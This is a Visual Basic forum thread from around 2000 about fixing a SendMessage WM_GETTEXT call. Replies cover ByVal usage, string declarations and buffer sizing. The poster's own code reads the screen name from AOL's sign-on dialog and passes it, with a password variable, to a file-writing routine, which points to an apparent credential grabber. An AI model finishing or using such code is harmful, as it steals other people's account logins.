-
Call SendMessage(hwnd1, WM_GETTEXT, iLength, ByVal ReceivedText)
gets a Bad DLL Calling Convention
If I remove the ByVal I get some automation errors.
Please help.
P.S. Everything is declared, all hWnd's are working, iLength is a non-zero Long from WM_GETTEXTLENGTH, and WM_SETTEXT works.
------------------
Tom Young, 14 Year Old
[email protected]
ICQ: 15743470 Add Me ICQ Me
AIM: TomY10
PERL, JavaScript and VB Programmer
-
Tom,
You're missing ByVal in the third argument:
Call SendMessage(hwnd1, WM_GETTEXT, ByVal iLength, ByVal ReceivedText)
Wade
[This message has been edited by WadeD (edited 02-21-2000).]
-
You don't need it. It is already there from the Declare statement.
.., ByVal wParam As Long
and that is not the problem.
-
How did you declare the SendMessage API?
Try declaring a second (typesafe) function, just for the strings. Like:
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Did you initialize the string? eg
ReceivedText = Space(iLength)
Call SendMessage(hwnd1, WM_GETTEXT, iLength, ReceivedText)
-
Since ByVal is in the Declare statement for every argument, you shouldn't get an Automation error when removing the last ByVal..correct??
-
Correct.
I tried the SendMessageByString, and no error, but now I don't receive any text.
[This message has been edited by Compwiz (edited 02-21-2000).]
-
In the original declaration, lParam is declared ByRef As Any. However, because VB stores strings a different way then most API's expect, they should always be passed ByVal.
I can't explain the automation error though, since no automation is used. You should just GPF.
-
Here is my code. It is to get the ScreenName out of the AOL guest box. (and NO, I dont use AOL, this is for my friend who does).
Code:
Sub GetData()
If FindWindowEx(0, 0, "_AOL_Modal", "") <> 0 Then
Dim AOLModal1, AOLEdit1, AOLEdit2 As Long
Dim AOLScreenName, AOLPassword As String
AOLModal1 = FindWindowEx(0, 0, "_AOL_Modal", "")
AOLEdit1 = FindWindowEx(AOLModal1, 0, "_AOL_Edit", vbNullString)
AOLEdit2 = FindWindowEx(AOLEdit1, 0, "_AOL_Edit", vbNullString)
Dim iLength As Long
iLength = SendMessage(AOLEdit1, WM_GETTEXTLENGTH, 0&, ByVal 0&)
AOLScreenName = Space(iLength)
Call SendMessageByString(AOLEdit1, WM_GETTEXT, iLength, AOLScreenName)
WriteFile AOLScreenName, AOLPassword, AOLEdit1, AOLEdit2
Form1.Text1.Text = AOLScreenName
End If
End Sub
-
What is the value of iLength after sending the WM_GETTEXTLENGTH message?
You should add 1 to iLength before initiating the AOLScreenName variable to allow a null terminating character.
-
Tried that. Doesn't work.
-
-
Either there's something wrong with your API Declaration or one of your values isn't what you think it is, try this to make sure your Declaration is correct:
Code:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const WM_GETTEXT = &HD
Private Sub Command1_Click()
Dim sText As String
sText = Space(255)
sText = Left$(sText, SendMessage(hwnd, WM_GETTEXT, 255, ByVal sText))
MsgBox sText
End Sub
This does work, so if your declaration is the same, Debug the routine and check the values as it's executed.
------------------
Aaron Young
Analyst Programmer
[email protected]
[email protected]
Certified AllExperts Expert